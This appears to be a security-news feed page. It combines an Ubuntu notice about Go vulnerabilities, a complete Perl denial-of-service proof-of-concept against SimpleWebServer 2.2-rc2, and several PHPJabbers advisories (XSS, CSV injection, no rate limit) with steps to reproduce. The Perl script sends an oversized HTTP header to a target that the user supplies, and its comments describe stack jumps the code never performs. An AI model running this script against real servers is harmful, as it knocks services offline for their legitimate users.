Ubuntu Security Notice 6574-1 - Takeshi Kaneko discovered that Go did not properly handle comments and special tags in the script context of html/template module. An attacker could possibly use this issue to inject Javascript code and perform a cross site scripting attack. This issue only affected Go 1.20 in Ubuntu 20.04 LTS, Ubuntu 22.04 LTS and Ubuntu 23.04. It was discovered that Go did not properly validate the "//go:cgo_" directives during compilation. An attacker could possibly use this issue to inject arbitrary code during compile time.

==========================================================================  
Ubuntu Security Notice USN-6574-1  
January 11, 2024

Go vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.10  
- Ubuntu 23.04  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS

Summary:

Several security issues were fixed in Go.

Software Description:  
- golang-1.20: Go programming language compiler  
- golang-1.21: Go programming language compiler

Details:

Takeshi Kaneko discovered that Go did not properly handle comments and  
special tags in the script context of html/template module. An attacker  
could possibly use this issue to inject Javascript code and perform a cross  
site scripting attack. This issue only affected Go 1.20 in Ubuntu 20.04 LTS,  
Ubuntu 22.04 LTS and Ubuntu 23.04. (CVE-2023-39318, CVE-2023-39319)

It was discovered that Go did not properly validate the "//go:cgo_"  
directives during compilation. An attacker could possibly use this issue to  
inject arbitrary code during compile time. (CVE-2023-39323)

It was discovered that Go did not limit the number of simultaneously  
executing handler goroutines in the net/http module. An attacker could  
possibly use this issue to cause a panic resulting into a denial of service.  
(CVE-2023-39325, CVE-2023-44487)

It was discovered that the Go net/http module did not properly validate the  
chunk extensions reading from a request or response body. An attacker could  
possibly use this issue to read sensitive information. (CVE-2023-39326)

It was discovered that Go did not properly validate the insecure "git://"  
protocol when using go get to fetch a module with the ".git" suffix. An  
attacker could possibly use this issue to bypass secure protocol checks.  
(CVE-2023-45285)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 23.10:  
  golang-1.20                     1.20.8-1ubuntu0.23.10.1  
  golang-1.20-go                  1.20.8-1ubuntu0.23.10.1  
  golang-1.20-src                 1.20.8-1ubuntu0.23.10.1  
  golang-1.21                     1.21.1-1ubuntu0.23.10.1  
  golang-1.21-go                  1.21.1-1ubuntu0.23.10.1  
  golang-1.21-src                 1.21.1-1ubuntu0.23.10.1

Ubuntu 23.04:  
  golang-1.20                     1.20.3-1ubuntu0.2  
  golang-1.20-go                  1.20.3-1ubuntu0.2  
  golang-1.20-src                 1.20.3-1ubuntu0.2  
  golang-1.21                     1.21.1-1~ubuntu23.04.2  
  golang-1.21-go                  1.21.1-1~ubuntu23.04.2  
  golang-1.21-src                 1.21.1-1~ubuntu23.04.2

Ubuntu 22.04 LTS:  
  golang-1.20                     1.20.3-1ubuntu0.1~22.04.1  
  golang-1.20-go                  1.20.3-1ubuntu0.1~22.04.1  
  golang-1.20-src                 1.20.3-1ubuntu0.1~22.04.1  
  golang-1.21                     1.21.1-1~ubuntu22.04.2  
  golang-1.21-go                  1.21.1-1~ubuntu22.04.2  
  golang-1.21-src                 1.21.1-1~ubuntu22.04.2

Ubuntu 20.04 LTS:  
  golang-1.20                     1.20.3-1ubuntu0.1~20.04.1  
  golang-1.20-go                  1.20.3-1ubuntu0.1~20.04.1  
  golang-1.20-src                 1.20.3-1ubuntu0.1~20.04.1  
  golang-1.21                     1.21.1-1~ubuntu20.04.2  
  golang-1.21-go                  1.21.1-1~ubuntu20.04.2  
  golang-1.21-src                 1.21.1-1~ubuntu20.04.2

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-6574-1  
  CVE-2023-39318, CVE-2023-39319, CVE-2023-39323, CVE-2023-39325,  
  CVE-2023-39326, CVE-2023-44487, CVE-2023-45285

Package Information:  
  https://launchpad.net/ubuntu/+source/golang-1.20/1.20.8-1ubuntu0.23.10.1  
  https://launchpad.net/ubuntu/+source/golang-1.21/1.21.1-1ubuntu0.23.10.1  
  https://launchpad.net/ubuntu/+source/golang-1.20/1.20.3-1ubuntu0.2  
  https://launchpad.net/ubuntu/+source/golang-1.21/1.21.1-1~ubuntu23.04.2  
  https://launchpad.net/ubuntu/+source/golang-1.20/1.20.3-1ubuntu0.1~22.04.1  
  https://launchpad.net/ubuntu/+source/golang-1.21/1.21.1-1~ubuntu22.04.2  
  https://launchpad.net/ubuntu/+source/golang-1.20/1.20.3-1ubuntu0.1~20.04.1  
  https://launchpad.net/ubuntu/+source/golang-1.21/1.21.1-1~ubuntu20.04.2

Ubuntu Security Notice USN-6574-1

SimpleWebServer version 2.2-rc2 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 11 january 2024  
# Vendor Homepage:  http://www.pmx.it/  
# Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: PSimpleWebServer 2.2-rc2   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to web server.  
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

our $exploit = "\x41"x2014;

$exploit     = "x\41"x2104;

if ($socket = IO::Socket::INET->new  
     (PeerAddr => $ip,  
      PeerPort => $port,  
      Proto => "TCP"))  
{  
        $header =  
        "GET / HTTP/1.1\r\n".  
        "Host: ".$ip." \r\n".  
        "Connection:".$exploit."\r\n";  
        print $socket $header."\r\n";  
        sleep(1);  
        close($socket);  
}

 else  
{  
    print "[-] Connection to $ip failed!\n";  
    exit;  
}

              print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

                        ,,__  
              ..  ..   / o._)           
             /--'/--\  \-'||    
            /        \_/ / |    
          .'\  \__\  __.'.'     
            )\ |  )\ |        
           // \\ // \\  
          ||_  \\|_  \\_  
          '--' '--'' '--'  

                [+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

#3. Solution/ How to fix:

# This version product is deprecated

SimpleWebServer 2.2-rc2 Denial Of Service

PHPJabbers Event Ticketing System version 1.0 suffers from a missing rate limiting vulnerability.

    # Exploit Title: PHPJabbers Event Ticketing System v1.0 - No Rate Limit# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/meeting-room-booking-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51339Descriptions:A lack of rate limiting in the "Forgot Email" feature of PHPJabbersEvent Ticketing System v1.0 allows attackers to send an excessiveamount of reset requests for a legitimate user, leading to a possibleDenial of Service (DoS) via a large amount of generated e-mailmessages.Steps to Reproduce:1. Visit this URLhttps://demo.phpjabbers.com/1704798072_893/index.php?controller=pjAdmin&action=pjActionIndex2. Now use the account mail that is already registered on this website.3. Capture request data using burp suite and send it to Intruder Tab4. Configure Intruder and Start Attack5. Check your email.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51339)

PHPJabbers Event Ticketing System 1.0 Missing Rate Limiting

PHPJabbers Meeting Room Booking System version 1.0 suffers from a CSV injection vulnerability.

    # Exploit Title: PHPJabbers Meeting Room Booking System v1.0 - CSV Injection# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/meeting-room-booking-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11# CVE-2023-51336Descriptions:PHPJabbers Meeting Room Booking System v1.0 is vulnerable to CSVinjection vulnerability which allows an attacker to execute remotecode. The vulnerability exists due to insufficient input validation onthe Unique ID field in the Reservations list that is used to constructa CSV file.Steps to Reproduce:1. Login your panel.2. Go to Options Menu then click Language then click Labels section.3. Now use CSV Injection Payload in any field and go to Import/Export.4. Now click export and open your system.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51336)

PHPJabbers Meeting Room Booking System 1.0 CSV Injection

PHPJabbers Meeting Room Booking System version 1.0 suffers from multiple persistent cross site scripting vulnerabilities.

    # Exploit Title: PHPJabbers Meeting Room Booking System v1.0 -Multiple Stored XSS# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/meeting-room-booking-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51338Descriptions:PHPJabbers Meeting Room Booking System v1.0 is vulnerable to MultipleStored Cross-Site Scripting. Multiple Stored XSS is a type of securityvulnerability that occurs when an application or website allows anattacker to inject malicious scripts into the content that ispermanently stored on the server.Steps to Reproduce:1. Login your panel.2. Vulnerable parameters are "title, name".3. Go to System Users Menu then click add user.4. Then use any XSS Payload in "Name" input field and Save.5. You will see xss popup.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51338)

PHPJabbers Meeting Room Booking System 1.0 Cross Site Scripting

PHPJabbers Event Ticketing System version 1.0 suffers from cross site scripting and html injection vulnerabilities.

    # Exploit Title: PHPJabbers Event Ticketing System v1.0 - Multiple HTML Injection# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/event-ticketing-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51303Descriptions:PHPJabbers Event Ticketing System v1.0 is vulnerable to Multiple HTMLInjection. HTML injection, also known as HTML code injection orcross-site scripting (XSS), is a web security vulnerability thatallows an attacker to inject malicious code into a web page that isthen viewed by other users. This can lead to various attacks, such asstealing sensitive information, session hijacking, defacement ofwebsites, or delivering malware to users.Parameters: "lid, name, plugin_sms_api_key, plugin_sms_country_code,title, plugin_sms_api_key, title".Steps to Reproduce:1. Login your panel.2. Go to System Menu then click SMS Settings.3. Then use any HTML Tag in "SMS API Key", "Default Country Code"input field and Save.4. You will see HTML code working here.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51303)# Exploit Title: PHPJabbers Event Ticketing System v1.0 - Multiple Stored XSS# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/event-ticketing-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51306Descriptions:PHPJabbers Event Ticketing System v1.0 is vulnerable to MultipleStored Cross-Site Scripting. Multiple Stored XSS is a type of securityvulnerability that occurs when an application or website allows anattacker to inject malicious scripts into the content that ispermanently stored on the server.Steps to Reproduce:1. Login your panel.2. Vulnerable parameters are "name, title".3. Go to System Users then click Add User.4. Then use any XSS Payload in "Name" input field and Save.5. You will see xss popup.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51306)# Exploit Title: PHPJabbers Event Ticketing System v1.0 - Reflected XSS# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/event-ticketing-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51337Descriptions:Reflected cross-site scripting (XSS) vulnerability exists in indexpage "lid" parameter of PHPJabbers Event Ticketing System v1.0 thatallows attackers to execute arbitrary web scripts or HTML via acrafted payload injected into the Website login page parameter.Steps to Reproduce:1. Visit main url2. Now use XSS Payload in "lid" parameter.3. You will see xss popup.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51337)

PHPJabbers Event Ticketing System 1.0 Cross Site Scripting / HTML Injection

PHPJabbers Cinema Booking System version 1.0 suffers from a missing rate limiting vulnerability.

    # Exploit Title: PHPJabbers Cinema Booking System v1.0 - No Rate Limit# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/cinema-booking-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51334Descriptions:A lack of rate limiting in the "Login Section, Forgot Email" featureof PHPJabbers Cinema Booking System v1.0 allows attackers to send anexcessive amount of reset requests for a legitimate user, leading to apossible Denial of Service (DoS) via a large amount of generatede-mail messages.Steps to Reproduce:1. Visit this URLhttps://demo.phpjabbers.com/1704804809_816/index.php?controller=pjAdmin&action=pjActionIndex2. Now use the account mail that is already registered on this website.3. Capture request data using burp suite and send it to Intruder Tab4. Configure Intruder and Start Attack5. Check your email.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51334)

PHPJabbers Cinema Booking System 1.0 Missing Rate Limiting

PHPJabbers Cinema Booking System version 1.0 suffers from a CSV injection vulnerability.

    # Exploit Title: PHPJabbers Cinema Booking System v1.0 - CSV Injection# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/meeting-room-booking-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11# CVE-2023-51333Descriptions:PHPJabbers Cinema Booking System v1.0 is vulnerable to CSV injectionvulnerability which allows an attacker to execute remote code. Thevulnerability exists due to insufficient input validation on theUnique ID field in the Reservations list that is used to construct aCSV file.Steps to Reproduce:1. Login your panel.2. Go to Options Menu then click Language then click Labels section.3. Now use CSV Injection Payload in any field and go to Import/Export.4. Now click export and open your system.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51333)

PHPJabbers Cinema Booking System 1.0 CSV Injection

PHPJabbers Meeting Room Booking System version 1.0 suffers from a missing rate limiting vulnerability.

    # Exploit Title: PHPJabbers Meeting Room Booking System v1.0 - No Rate Limit# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/meeting-room-booking-system/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-51332Descriptions:A lack of rate limiting in the "Forgot Email" feature of PHPJabbersMeeting Room Booking System v1.0 allows attackers to send an excessiveamount of reset requests for a legitimate user, leading to a possibleDenial of Service (DoS) via a large amount of generated e-mailmessages.Steps to Reproduce:1. Visit this URLhttps://demo.phpjabbers.com/1704805602_793/index.php?controller=pjAdmin&action=pjActionLogin2. Now use the account mail that is already registered on this website.3. Capture request data using burp suite and send it to Intruder Tab4. Configure Intruder and Start Attack5. Check your email.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51332)

PHPJabbers Meeting Room Booking System 1.0 Missing Rate Limiting

PHPJabbers Cleaning Business Software version 1.0 suffers from a CSV injection vulnerability.

    # Exploit Title: PHPJabbers Cleaning Business Software v1.0 - CSV Injection# Date: 19/12/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/cleaning-business-software/#sectionDemo# Version: v1.0# Tested on: Windows 10, Windows 11# CVE-2023-51331Descriptions:PHPJabbers Cleaning Business Software v1.0 is vulnerable to CSVinjection vulnerability which allows an attacker to execute remotecode. The vulnerability exists due to insufficient input validation onthe Unique ID field in the Reservations list that is used to constructa CSV file.Steps to Reproduce:1. Login your panel.2. Go to Options Menu then click Language then click Labels section.3. Now use CSV Injection Payload in any field and go to Import/Export.4. Now click export and open your system.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-51331)

Tag

#git